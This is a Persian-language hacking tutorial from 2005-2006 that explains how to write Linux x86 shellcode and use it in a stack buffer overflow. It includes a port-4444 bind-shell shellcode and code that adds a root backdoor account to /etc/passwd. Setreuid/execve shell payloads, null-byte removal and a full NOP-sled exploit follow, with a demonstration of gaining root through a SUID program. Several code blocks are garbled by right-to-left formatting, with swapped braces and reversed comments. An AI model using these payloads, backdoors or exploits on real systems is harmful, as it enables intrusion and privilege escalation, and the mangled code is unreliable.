بسم الله الرحمن الرحیم

Shellcode **ها چگونه کار می کنند؟**

Version 1.0

پیش نیازهای این مقاله :

1) **آشنایی با حافظه ی** Stack **یا پشته**
2) **آشنایی با برنامه نویسی**
3) **آشنایی با سیستم عامل لینوکس و نحوه ی استفاده از ابزاهای برنامه نویسی آن**

توجه : شما می توانید آموزش های مربوطه را از ضمیمه ی الف این مقاله Download **کنید.**

مقدمه:

پیدا کردن یک برنامه ی آسیب پذیر و اکسپلویتی برای آن ، کار آسانی نیست.همچنین مقابله با کاربری که قصد استفاده از اکپسلویت بر ضد سیستم شما را دارد ، کار آسانی نیست.به هر حال ، تبدیل کردن خطوط اخباری در سایت های منتشر کننده ی اخبار آسیب پذیری ها به حالت عملی کار بسیار سخت تری می باشد.این مقاله مرحله به مرحله در مورد توسعه دادن Shellcode ها بحث می کند.خواندن این مقاله برای آشنایی بیشتر با کار اکسپلویت ها و اجرای دستورات موردنظر پس از اختلال در یک نرم افزار می تواند مفید باشد.

یک اکسپلویت چگونه کار می کند؟

اکسپلویت هایی که شما از اینترنت دانلود می کنید ، دارای قسمت های مختلفی می باشد.با تبدیل این سورس کد به یک برنامه ی اجرایی ، می توان از یک اکپسلویت استفاده کرد. در یک تعریف کلی اکسپلویت به برنامه ای می گویند که بیشتر به زبان C نوشته می شود و از آسیب پذیری های موجود در نرم افزارهای گوناگون استفاده کرده و با اخلال در اجرای برنامه ی آسیب پذیری ، باعث می شود که بتوانیم دستور مورد نظر خود را در کامپیوتر هدف اجرا کنیم.اگر به سورس یک اکسپلویت نگاهی بیندازیم ، خطوطی را خواهیم یافت که شبیه به خطوط زیر هستند :

```
char shellcode[] =
"\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8a"
"\xd4\xf2\xe7\x83\xeb\xfc\xe2\xf4\xbb\x0f\xa1\xa4\xd9\xbe\xf0\x8d"
"\xec\x8c\x6b\x6e\x6b\x19\x72\x71\xc9\x86\x94\x8f\x9b\x88\x94\xb4"
"\x03\x35\x98\x81\xd2\x84\xa3\xb1\x03\x35\x3f\x67\x3a\xb2\x23\x04"
"\x47\x54\xa0\xb5\xdc\x97\x7b\x06\x3a\xb2\x3f\x67\x19\xbe\xf0\xbe"
"\x3a\xeb\x3f\x67\xc3\xad\x0b\x57\x81\x86\x9a\xc8\xa5\xa7\x9a\x8f"
"\xa5\xb6\x9b\x89\x03\x37\xa0\xb4\x03\x35\x3f\x67";
```

این خطوط Shellcode نامیده می شوند که گاهی به عنوان bytecode هم از آن ها نام برده می شوند.محتویات این خطوط کلمات جادویی و یا نشانه های غیر منطقی نیستند.این قسمت به عنوان پایین ترین سطح دستورات ماشین هستند ، که در فایل های اجرایی می باشند.این خطوط و نشانه ها در واقع پایین تر سطح زبان ماشین هستند که بین سخت و افزار و سیستم عامل به کار گرفته می شوند و دستورات سیستم عامل برای اجرا کردن توسط سخت افزار ابتدا به این حالت در آمده و سپس اجرا می شوند.هر Shellcode کار خاصی را انجام می دهد.در واقع Shellcode ها شامل دستورات برنامه نویسی هستند که به زبان ماشین تبدیل شده اند.این Shellcode که به عنوان مثال از آن استفاده کریم ، پورت شماره ی 4444 را در یک سیستم باز می کند و پس از اتصال ، خط فرمان را با دسترسی از نوع root به آن می دهد.توسط Shellcode می توان یک فایل را به سیستمی فرستاد ، سیستمی را reboot کرد ، ایمیلی به آدرسی فرستاد.اولین کار برای نوشتن یک اکسپلویت ، نوشتن Shellcode آن می باشد.
بیایید مثالی را بررسی کنیم.یکی از مشکلات معروف در نرم افزارها ، اشکالات Buffer Overflow می باشد که به دلیل نوشتن بیش از اندازه ی Buffer در آن به وجود می آید.برنامه نویسان گاهی اوقات اندازه ی مقدار ورودی را کنترل می نمایند.برنامه نویس یک آرایه به طول 100 تعریف می کند و اندازه ی واقعی را که آن آرایه می تواند در خود جای دهد را ، چک نمی کند.همه ی element های خارج از این آرایه ، در Stack قرار می گیرند و در واقع بعد از انتهای Stack در صورت ورود اطلاعات ، نوشته می شوند ، به همین دلیل مشکل Buffer Overflow روی می دهد.کاری که یک اکسپلویت بعد از انجام Buffer Overflow انجام می دهد ، تغییر آدرس بازگشتی به آدرس Shellcode است.اگر Shellcode کنترلی را دریافت نماید ، می تواند اجرا شود.
سایت های زیادی هستند که می توانید از آن ها Shellcode ها را دریافت نمایید.

چه چیزهایی برای نوشتن Shellcode های این مقاله نیاز است؟

در ادامه برای نوشتن Shellcode ما از سیستم عامل لینوکس و پردازنده ی 32 بیتی x86 اینتل استفاده خواهیم کرد.همچنین از نرم افزارهای Netwide Assembler (nasm) ، ndisasm ، hexdump نیز استفاده خواهیم کرد.

مرحله ی ساخت:

به طور معمول Shellcode ها به در assembler ها نوشته می شوند ، اما نوشتن یک برنامه به زبان C و سپس بازنویسی آن راحت تر می باشد.مثال زیر یک کاربر به /etc/passwd اضافه می کند:

```
#include <stdio.h>
#include <fcntl.h>

main() {
   char *filename = "/etc/passwd";
   char *line     = "hacker:x:0:0::/:/bin/sh\n";
   int f_open;
   f_open         = open(filename,O_WRONLY|O_APPEND);
   write(f_open, line, strlen(line));
   close(f_open);
   exit(0);
```

}
کد بالا بسیاز واضح است ، البته ممکن است تابع open() کمی نا معلوم باشد.ثابت O_WRONLY|O_APPEND پارامتری را برای باز کردن یک فایل و برای اضافه کردن و نوشتن اطلاعات جدید در انتهای فایل می گیرد.در زیر مثال قابل استفاده ی دیگر را می بینیم که Bourn Shell را برای ما اجرا می کند:

```
#include <stdio.h>

main() {
   char *name[2];
   name[0] = "/bin/sh";
   name[1] = NULL;
   setreuid(0, 0);
   execve(name[0],name, NULL);
}
```

تابع setreuid(0,0) دسترسی ما را در صورتی که ممکن باشد ، سعی می کند به root افزایش می دهد.تابع execve(const char filename,const char[] argv, const char[] envp) یک فراخوانی سیستمی یا System Call است که هر نوع فایل binary و یا script را اجرا می کند.این تابع 3 پارامتر دارد که در زیر توضیح داده شده اند:

1) Filename : مسیر کامل فایلی را که باید اجرا شود ، می باشد
2) Argv[] : آرایه ای از آرگومان ها است
3) Envp[] : آرایه از رشته ها که به صورت key=value هستند می باشد

هر دو آرایه ی بالا باید با element خالی یا Null تمام شوند.
حال به این که چگونه باید کد بالا را به صورت زبان assembly بازنویسی کنیم ، می رسیم.دز بان assembly برای x86 فراخوانی های سیستم با کمک یک منقطع سیستمی ویژه که شماره ی تابع را از رجیستر EAX می خواند و سپس تابع برابر را اجرا می کند ، انجام می گیرد.این تابع در /usr/include/asm/unistd.h/ موجود است.برای مثال ، خطی در این فایل به صورت #define __NR_ open 5 است ، به این معنی که تابع open() هویت شماره ی 5 را دارد.به زبانی ساده تر ، خطوط دیگر و توابع موجود در این فایل دارای شماره هویت های دیگری می باشند.به عنوان مثال exit() شماره ی 1 است ، close() شماره ی 6 می باشد ، setreuid() شماره ی 70 است ، execve() شماره ی 11 می باشد.این شماره ها در رجیستر EAX قرار می گیرند و منقطع ویژه ی سیستمی هرگاه شماره ی موجود در این رجیستر را بخواند ، تابعی را که شماره ی هویت آن با این شماره برابر است را ، اجرا می کند.این مطالب گفته شده در حدی که بتوان یک برنامه ی ساده را نوشت کافی است.کد برنامه ای که کاربری را به /etc/passwd اضافه می کند در زبان assembly به صورت زیر است:

```
section .data
filename db '/etc/passwd', 0
line db 'hacker:x:0:0::/:/bin/sh',0x0a

section .text
global _start

_start:
; open(filename,O_WRONLY|O_APPEND)
mov eax, 5
mov ebx, filename
mov ecx, 1025
int 0x80
mov ebx, eax
```

```
; write(f_open, line, 24)
mov eax, 4
mov ecx, line
mov edx, 24
int 0x80

; close(f_open)
mov eax, 6
int 0x80

; exit(0)
mov eax, 1
mov ebx, 0
int 0x80
```

برنامه به زبان اسمبلی از سه قسمت تشکیل شده است:

1) قسمت داده ها یا Data Segment که شامل متغیر ها می شود
2) قسمت کد یا Code Segment که شامل کدهای سازنده ی برنامه می شود
3) قسمت پشته یا Stack Segment که مربوط به حافظه بندی سیستم برای نگهداری اطلاعات برنامه می شود

این مثال تنها شامل قسمت های داده و کد می شود.عملگرهای section .data و section .text اول برنامه را مشخص کرده اند.قسمت داده های این برنامه شامل معرفی دو متغیر می شود : name و line ، که شامل byte ها هستند((قسمت db را در ابتدای فایل نگاه کنید)).
قسمت کد برنامه از جایی که اشاره کننده ی آغاز برنامه یعنی global _start قرار دارد ، شروع می شود.ای قسمت به سیستم می گوید که برنامه باید از دو خط پایین تر یعنی از start__ شروع می شود.این نکته را فراموش نکنید که ما start__ را به وسیله ی global _start به عنوان قسمتی که برنامه از آن جا شروع می شود قرار دادیم.
مراحل بعدی آسان تر هستند.فراخوانی تابع open() ، قرار دادن شماره ی 5 به عنوان مقدار رجیستر EAX برای خوانده شدن توسط منقطع ویژه ی سیستمی.بعد از همه ، فرستادن پارامترها برای تابع است.ساده ترین راه برای فرستادن پارامترها به توابع ، استفاده از رجیسترهای EBX ، ECX ، EDX است.رجیستر EBX آدرس شروع متغیر رشته ای filename را به عنوان پارامتر اول می گیرد ، که شامل آدرس کامل یک فایل و یک کاراکتر صفر آخر می باشد ((بیشتر توابع سیستمی شامل یک کاراکتر خالی یا Null می باشند)).رجیستر ECX حالت باز شدن فایل را به عنوان پارامتر دوم می گیرد ((ثابت O_WRONLY|O_APPEND را در حالت عددی)).با کامل شدن تمامی پارامترهای تابع ، منقطع 0x80 توسط کد برنامه فراخوانی می شود.این منقطع ، کد تابع یا شماره ی هویت آن را می خواند و تابع برابر آن را فراخوانی می کند.بعد از کامل شدن فراخوانی ، برنامه ادامه خواهد یافت ، ابتدا فراخوانی تابع write() ، سپس تابع close() ، و در انتهای برنامه تابع exit() فراخوانی می شود.

اجرای BASH توسط Shellcode مخصوص :

حال زمان ترجمه ی برنامه ی دوم به زبان assembly می رسد.برای دسترسی به Bash ، ابتدا باید setreuid() و execve() برای اجرا شدن Bash با دسترسی root اجرا شوند:

```
section .data
name db '/bin/sh', 0

section .text
```

```
global _start

_start:
; setreuid(0, 0)
mov eax, 70
mov ebx, 0
mov ecx, 0
int 0x80

; execve("/bin/sh",["/bin/sh", NULL], NULL)
mov eax, 11
mov ebx, name
push 0
push name
mov ecx, esp
mov edx, 0
int 0x80
```

این کد نسبت به کد قبلی ، در فراخوانی تابع ()execve قابل درک تر است.قسمت های برنامه ی قبلی یعنی data segment و code segment در این جا نیز هستند ، و کد اجرایی برای تابع ()setreuid نیز مشخص شده است.پارامتر دوم ()execve آرایه ای از دو element است.بعد از تمام شدن مراحل بالا ، به واسطه ی Stack این تنظیمات را می فرستد ، که اولین نیاز مقدار صفر است (push 0) ، و سپس آدرس متغیر name (push name).حال وارد حافظه ی Stack می شویم ، بنابراین به خاطر داشته باشید که آخرین ورودی اولین خروجی است و یابد پارامترها از آخرین پارامتری که باید استفاده شود به اولین پارامتر ، در آن قرار بدهید.هنگامی که سیستم پارامترهای ذخیره شده را فراخوانی می کند ، اولین آن ها آدرس متغیر name است ، سپس یک مقدار صفر می باشد.همچنین یک تابع باید بداند که از کجا باید پارامترهایش را پیدا کند.برای این کار ، این کد از رجیستر ESP که همیشه به بالای Stack اشاره می کند استفاده می کند.تنها کار دیگری که باید انجام شود ، کپی کردن مقدار موجود در رجیستر ESP در رجیستر ECX است ، که به عنوان پارامتر دوم در زمان فراخوانی منقطع 0x80 استفاده خواهند کرد.

حذف کردن Data Segment**:**

کد assembly بالا را می توانید با nasm به فایل اجرایی تبدیل کرده و سپس ، آن را اجرا کنید ، و فایل را به وسیله ی hexdump در حالت binary نگاه کنید.خود این خروجی نوعی Shellcode است.مساله ای که در این جا وجود دارد این است که هر دو برنامه از قسمت داده ها یا Data Segment خودشان استفاده می کنند ، یعنی درون این برنامه ها نمی توان برنامه ی دیگری را اجرا کرد و این برنامه های نمی توانند در خودشان برنامه ی دیگری را اجرا کنند.در واقع یک اکسپلویت نیم تواند کد خود را درون این برنامه های تزریق کند و آن را اجرا کند.
پس در مرحله ی بعدی باید Data Segment را حذف کرد.اما اگر این قسمت حذف شود ، تمامی اطلاعات موجود در آن نیز حذف خواهد شد.بنابراین برای نگه داشتن این اطلاعات ، باید از روش ویژه ای استفاده کرد.در این روش ، اطلاعات موجو در قسمت داده های برنامه به وسیله ی jmp و call به قسمت کد منتقل می شوند.هر دوی این سازنده ها ، به مسیری مشخص شده در قسمت کد می روند ، اما عملگر call یک آدرس برگشتی را در Stack قرار می دهد.این کار برای ادامه ی برنامه بعد از فراخوانی یک تابع ضروری است.مانند کد زیر :

```
jmp two
one:
```

```
pop ebx

[application code]

two:
call one
db 'string'
```

در اول برنامه ، برنامه به وسیله ی jmp به برچسب two ، jump می کند ، که به procedure شماره ی یک یا one اضافه شده است. در این جا procedure دیگری نیست.به هرحال ، برچسب دیگری با همین نام در اینجا می باشد ، که کنترل را جدا می کند.در لحظه ای از این فراخوانی ، Stack آدرس برگشتی دریافت می کند : آدرس سازنده ی بعد از عملگر call.در این کد ، آدرس byte از رشته است : 'db 'string.به این معنی که هنگامی که سازنده یا instruction بعد از برچسب یا label اجرایی شماره ی یک یا one جاگذاری شده است ، حافظه ی Stack هنوز آدرس string که در اول کد آورده شده است را در خود دارد.تنها راه برای جلوگیری از این کار این است که string را در جای مناسب خود به کار ببریم.کد زیر ، نمونه ی دیگری است که این کار در آن انجام شده است :

```
BITS 32
 ;setreuid(0, 0(
mov eax, 70
mov ebx, 0
mov ecx, 0
int 0x80
jmp two

one:
pop ebx

 ;execve("/bin/sh",["/bin/sh", NULL], NULL(
mov eax, 11
push 0
push ebx
mov ecx, esp
mov edx, 0
int 0x80

two:
call one

db '/bin/sh', 0
```

در کد بالا همان طور که می بینید ، هیچ گونه segment در هیچ جای کد دیده نمی شود.رشته ی /bin/sh که قبلا در قسمت داده ها بود ، حال به Stack آمده است و در رجیستر EBX قرار گرفته است ((همچنین کد بالا خطی حاوی BITS 32 دارد که امکان بهینه سازی پردازشگر 32 بیتی را به ما می دهد)).

حالا برنامه کار می کند

برنامه را با nasm به صورت اجرایی در بیاورید:

```
$ nasm shell.asm
```

و کد را به صورت binary به وسیله ی hexdump تبدیل کنید:

```
$ hexdump -C shell
```

حال کد را به صورت بهتری با قرار دادن x\ قبل از هر عدد دربیاورید.با این کار شما می توانید یک Shellcode را که در یک برنامه استفاده کنید:

```
char code[]=
"\xb8\x46\x00\x00\x00\xbb\x00\x00\x00\x00\xb9\x00\x00\x00\x00\xcd"
"\x80\xe9\x15\x00\x00\x00\x5b\xb8\x0b\x00\x00\x00\x68\x00\x00\x00"
"\x00\x53\x89\xe1\xba\x00\x00\x00\x00\xcd\x80\xe8\xe6\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68\x00";

main() {
   int (*shell)();
   (int)shell = code;
   shell();
}
```

برنامه را به صورت اجرایی در بیاورید و آن را اجرا کنید:

```
 $gcc  shellapp.c -o shellApp
/. $shellApp
```

برنامه به خوبی کار می کند.

نه ، هنوز به درستی کار نمی کند ، باید Null Byte را حذف کرد:

در بالا شاید برنامه به درستی کار کند ، اما در یک اکسپلویت واقعی نمی توان این کد را به کار برد زیرا این کد از قسمت داده ها استفاده نمی کند.دلیل این مشکل وجود byte های خالی یا (x00\) در Shellcode است.بیشتر خطاهای Buffer Overflow به ناشی از استفاده ی نادرست از توابعی که با رشته ها سر و کار دارند ، ناشی می شوند.این توابع در stdlib وجود دارند و بعضی از آن ها strcpy() ، sprintf() ، strcat() هستند.همه ی این توابع از یک نشانه ی Null یا برای مشخص کردن انتهای رشته استفاده می کنند.بنابراین ، تابع بعد از اولین byte سخالی دیگر ادامه ی برنامه را نمی خواند.

برای رفع این مشکل ، باید byte های خالی را از Shellcode کرد.این کار بسیار ساده است:در کد به دنبال byte های خالی بگردید و سپس آن ها را حذف کنید.یک توسعه دهنده ، می تواند بگوید که چرا ماشین ، شامل صفرها می شود ، اما استفاده از یک برنامه برای تعیین این صفرها راحت تر است:

```
 $nasm shell.asm
 $ndisasm -b32 shell
  00000000B846000000        mov eax,0x46
  00000005BB00000000        mov ebx,0x0
0000000A  B900000000        mov ecx,0x0
0000000F  CD80            int 0x80
```

اجرا کردن این دستور ، برنامه را برای ما Disassemble می کند.این قسمت شامل سه ستون است:

1) اولین ستون ، شامل آدر سازنده ها در حالت hexadecimal است.البته برای ما زباد مهم نیست
2) دومین ستون ، شامل سازنده های ماشین می باشد ، به همان شکلی که hexdump به ما نشان داد

3) سومین ستون ، شامل کدهای اسمبلی است ، این ستون به شما نشان می دهد که کدام سازنده دارای مقدار Null است

بعد از توضیحی کوتاه ، حال به این نتیجه می رسیم که بیشتر byte های Null از سازنده هایی که محتوای رجیسترها و Stack را در خود ذخیره و مدیریت می کنند ، به وجود می آیند.ولی این موضوع زیاد جالب نیست.این کد در یک سیستم 32 بیتی کار می کند ، پس این نوع کامپیوترها برای هر مقدار عددی 4 بایت ((32/8=4 به دلیل این که هر byte مساوی 8 بیت است)) از حافظه را تقسیم بندی می کنند.اما این کد هنوز مقادیری را که برای یک byte کافی است را استفاده ی کند.به این معنا که ، در شروع این برنامه سازنده ی mov eax, 70 مقدار 70 را در رجیستر EAX قرار می دهد.در Shellcode این کار به صورت B8 46 00 00 00 نشان داده می شود.کد B8 کد ماشینی است که سازنده ی mov ax را نشان می دهد ، و 46 00 00 00 هم مقدار 70 است که در حالت hexadecimal است ، که با مقادیر 0 برای استفاده از 4 بایت حافظه ی در اختیار گذاشته شده ی آن کار کند.بیشتر byte های خالی از موارد مشابه به وجود می آیند.

راه حل برای رفع این مشکل بسیار ساده است.فقط کافی است این مساله را بدانید که می توان رجیسترهای 32 بیتی EAX و EBX و سایر رجیسترهایی که با E حرف اول کلمه ی enhancement شروع می شوند را ، با رجیسترهای 8 و یا 16 بیتی جایگزین کرد.برای این کار می توان از رجیستر 16 بیتی AX و قسمت های بالا و پایینی آن یعنی AL و AH استفاده کرد که هر کدام از آن ها رجیسترهایی یک byte هستند.برای این کار فقط باید سازنده ی mov eax, 70 را با mov al, 70 در هر جای کد ، جایگذاری کرد.

همچنین برای ما بیسار مهم است که مطمئن شویم که فضای رجیستر EAX حوای هیچ گونه byte خالی نباشد و برنامه باید یک صفر به آن اضافه کند.برای انجام این کار ، ساده ترین راه استفاده از عملگر XOR است.برای مثال:

```
xor eax,eax
```

رجیستر EAX را دارای یک عدد صفر می کند.

بعد از همه ی این تنظیمات Shellcode هنوز دارای byte های صفر می باشد. به همین دلیل debugger نشان می دهد که سازنده ی jmp شامل محتوای زیر است :

```
E91500 jmp 0x29 0000 add [bx+si],al
```

حال باید به جای یک سازنده ی short jump از یک jmp short استفاده کنیم.در برنامه های کوچک با ساختارهای ساده ، این سازنده ها در راه های یکسانی کار می کنند ، و کد ماشنی در این قسمت شامل byte های صفر نمی شود.

شما ممکن است فکر کنید که این Shellcode به دست آمده ، بسیار خوب است.اما هنوز در انتهای کد byte های صفر دیده می شوند.این byte های صفر به دلیل وجود رشته ی bin/sh که در انتهای آن یک byte صفر وجود دارد ، تشکیل می شوند.این صفر باید وجود داشته باشد زیرا بدون آن ()execve به درستی اجرا نمی شود.شما تنها این byte صفر را نمی توانید حذف کنید.اما با این حال ، می توانید از یک روش دیگر استفاده کنید ، در هنگام تبدیل این برنامه به صورت اجرایی ، می توانید نشانه های دیگری را به جای صفر جایگذاری کنید ، و سپس آن ها را در هنگام اجرای برنامه به صفر تبدیل کنید:

```
jmp short stuff

:code
pop esi
address of string ;
```

```
now in ESI ;

xor eax,eax
put zero into EAX ;

mov byte [esi + 17],al
(count 18 symbols (index starts from zero ;
(and putting a zero value there (EAX register equals to zero ;
The string will become This is my string0 ;

:stuff
call code

'#db 'This is my string
```

بعد از انجام این کار Shellcode دیگر حاوی byte های خالی نمی شود:

```
BITS 32

(setreuid(0, 0;
xor eax,eax
mov al, 70
xor ebx,ebx
xor ecx,ecx
int 0x80

jmp short two

:one
pop ebx

(execve("/bin/sh",["/bin/sh", NULL], NULL ;
xor eax,eax
mov byte [ebx+7], al
push eax
push ebx
mov ecx, esp
mov al,11
xor edx,edx
int 0x80

:two
call one
'#db '/bin/sh
```

بعد ار تبدیل این برنامه به حالت اجرایی ، شما می توانید ببینید که برنامه شامل هیچ گونه byte خالی نمی باشد.

آن در یک اکسپلویت چگونه کار می کند:

یک حمله ی Buffer Overflow ، سعی می کند که بالاتر از Buffer بنویسد بنابراین هنگامی که هنگامی که تابعی مقدار بازگشتی برمی گرداند ، این آدرس بازگشتی با آدرس دیگری که حاوی

Shellcode است عوض می شود.برای این که بفهمید چگونه این کار روی می دهد ، Stack از جایی که در بالای Stack شروع می شود و اشاره گر Stack به عنوان برنامه ای که در داخل Stack اطلاعاتی را وارد کرده است ، به پایین اشاره می کند و سپس به عنوان برنامه ای که اطلاعاتی را از آن خارج می کند ، به بالا اشاره می کند.به کد زیر نگاه کنید :

```
void sum(int a,int b} (
   int c = a + b;
{
```

داخل Stack و قسمتی که sum() در آن است شبیه زیر است :

```
b
a
<eturn address>
<ebp contents>
c
```

کامپیوتر قبل از فراخوانی sum() محتویات رجیستر EBP را در Stack ذخیره می کند زیار این اطلاعات و محتویات ، در داخل این تابع نیز مورد استفاده قرار می گیرند ، همچنین برای ادامه ی برنامه بعد از اجرای تابع نیز مورد نیاز هستند.مهمترین کاری که یک اکپسلویت باید انجام دهد ، تغییر این آدرس بازگشتی است.این کار در این حالت امکان پذیر نیست زیرا متغیر a و b هیچ گونه مشکلی برای انجام Overflow ندارند.اگر که به این کد رشته ای اضافه کنیم:

```
#include
<stdio.h>

void sum(int a,int b} (
   int c = a + b;
{

void bad_copy_string(char *s)
}
   char local[1024];
   strcpy(local,s);
   printf("string is %s\n",local);
{

int main(int argc, char *argv[])
}
   sum(1,2);
   bad_copy_string(argv[1]);
{
```

تابع copy_string کپی از اولین پارامتر ورودی خط فرمان می گیرد و آن را در Buffer با سایز مشخص قرار می دهد و سپس آن را چاپ می کند.این کار ممکن است نادرست به نظر برسد ، اما چیزی شبیه به این برای خازج کردن برنامه از حالت عادی و اجرای یک ورودی خارجی مانند یک اتصال اینترنتی و یا خط فرمان ، مهم است.کد بالا را به صورت اجرایی در بیاورید و سپس آن را اجرا کنید:

```
% gcc -o overflow overflow.c
% ./overflow 'All seems fine
```

همه چیز به نظر درست کار می کند ، اما این دفعه برنامه را با پارامتری با اندزه ی بیش از 1024 کاراکتر اجرا می کنیم:

```
/. %overflow `perl -e 'print "a" x 2000`'
string is aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
bash: segmentation fault (core dumped)  ./overflow `perl -e 'print "a" x 2000`'
```

اسکریپت به زبان پرل که در بالا استفاده کریم 2000 کاراکتر a را برای ما تولید کرد و به برنامه فرستاد و برنامه دچار اختلال شد.حالا برنامه را به وسیله gdb اجرا می کنیم:

```
 %gdb ./overflow core
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are welcome to
change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-linux."
Core was generated by `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaa.'
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0  0#x61616161 in() ??
```

خطای segmentation fault در آدرس 0x61616161 که رشته ی hhexadecimal کاراکترهای aaaa می باشد ، روی داده است.این به این معنی است که اکپسلویت می تواند برنامه را به آدرس مورد نظر هدایت کند که برنامه آن را به عنوان یک پارامتر دریافت می کند.این کار ممکن است بسیار جالب به نظر برسد اما آدرس Stack اکنون چیست؟ gdb این آدرس را می داند :

```
(gdb) info register esp
esp            0xbffff334       0xbffff334
```

حال تنها کاری که باید برای اجرای کد انجام داد نوشتن Shellcode قبلی است.شما می توانید برنامه را به وسیله ی کد زیر Overflow کنید :

```
#include <stdlib.h>

static char shellcode=[]
\"xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"\
\"xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh";

#define NOP 0x90
#define LEN 1024+8
#define RET 0xbffff334

int main()
{
   char buffer[LEN]; int i;

 */    first fill up the buffer with NOPs/*
```

```
   for (i=0;i<LEN;i++)
      buffer[i] = NOP;

 */   and then the shellcode/*
   memcpy(&buffer[LEN-strlen(shellcode)-4],shellcode,strlen(shellcode));

 */   and finally the address to return to/*
*    (int*)(&buffer[LEN-4]) = RET;

 */   run program with buffer as parameter/*
   execlp("./overflow","./overflow",buffer,NULL);

   return 0;
}
```

آرایه ی []shellcode حاوی Shellcode بدون هیچ مقدار خالی است.تابع ()main نیز همراه با buffer که سایز آن به صورت محلی 1024 بایت به علاوه ی 8 بایت برای رجیستر EBP و آدرس بازگشتی است ، شروع می شود.همان طور که می بینید ، اندازه ی Buffer از Shellcode بیشتر است ، در شروع نیاز به قسمتی از do-nothing machine code (NOP) operations داریم.سپس تابع آن را در Shellcode کپی می کند ، و در نهایت ، آدرس شروع Buffer را در آن کپی می کند.حال آن را به صورت اجرایی در بیاورید و اجرا کنید:

```
 %gcc -o exploit exploit.c
%./exploit
string is <lots of garbage>
```

حال یک Bourne shell باز شد و چه قدر جالب است ! ، البته هیچ چیزی مانند آن که خودتان برنامه ای بنویسید و آن را Overflow کنید جالب نیست ! ، اما اگر در این جا برنامه ی SUID از نوع کاربر root بود ، ممکن است شما دسترسی از نوع root داشته باشید:

```
 %chmod +s overflow
 %su
 #chown root overflow
 #exit
 %./exploit
string is <lots of garbage>
sh# whoami
root
```

حال شما بدون هیچ گونه دردسری در یک ماشین دسترسی از نوع root گرفتید.البته اگر این کار را بر روی یک ماشین remote انجام دهید ، کمک زیادی به شما نمی کند.برای انجام این کار باید Shellcode های دیگری را بنویسید که پورتی را به حالت listening در می آورند و سپس stdin و stdout را قبل از فراخوانی execve /bin/sh اجرا می کند.با این کار ، شما احتیاجی به داشتن یک حساب کاربری بر روی ماشین هدف ندارید و تنها با NC به ماشین هدف دسترسی پیدا کنید.

در این مقاله نکاتی را پیرامون نوشتن Shellcode ها بیان کردیم :

1) این کدها یا Shellcode ها در نتیجه ی Disassemble یک برنامه که کار خاصی ، مثلا ارتباط با اینترنت ، را انجام می دهد ساخته شده اند

2) یک Shellcode نباید حاوی مقدار Null یا 0x00 زیرا در صورت رسیدن برنامه به این قسمت ادامه ی Shellcode خوانده نمی شود.
3) این مقادیر خالی به دلیل تشخیص انتهای رشته به وجو می آیند
4) بعد از Disassemble کردن برنامه باید اعداد به دست آمده را از بالا به پایین و پشت سر هم نوشت
5) اندازه ی Buffer در یک اکسپلویت باید بیشتر از اندازه ی Shellcode باشد

همچنین یک راه دیگر برای یافتن آسیب پذیری در برنامه را پیدا کردیم :
وارد کردن یک رشته از کاراکترها با اندازه ی زیاد به برنامه

ضمیمه ی الف :

لینک Download **مقالات آموزشی مورد نیاز**

آشنایی با حافظه ی Stack **یا پشته**

http://www.siahacker.persiangig.com/Explain%20the%20Memory%20Stack%20Region.pdf

آموزش برنامه نویسی

http://www.simorgh-ev.com/security/modules/mysections/singlefile.php?lid=12

http://www.irandevelopers.com/category.asp?id=1
http://www.tehranedu.com/subparts/elearning/c/
http://turboc.persianblog.com/
http://forum.p30world.com/showthread.php?t=36551

آشنایی با سیستم عامل لینوکس و استفاده از ابزاهای برنامه نویسی آن

http://www.google.com/search?client=opera&rls=en&q=%D8%A2%D9%85%D9%88%D8%B2%D8%B4+%D9%81%D8%A7%D8%B1%D8%B3%DB%8C+%D9%84%DB%8C%D9%86%D9%88%DA%A9%D8%B3&sourceid=opera&ie=utf-8&oe=utf-8

http://dirac.org/linux/gdb/
http://sourceware.org/ml/bug-gdb/2000-04/msg00068.html

http://arioch.unomaha.edu/~jclark/gdb_plus.html
http://gcc.gnu.org/onlinedocs/gcc-2.95.3/gcc.html
http://www.cs.utah.edu/dept/old/texinfo/gcc/gcc_toc.html

Copyright© by Siahacker
2005-2006 All Rights Reserved
Email:Siahcker@gmail.com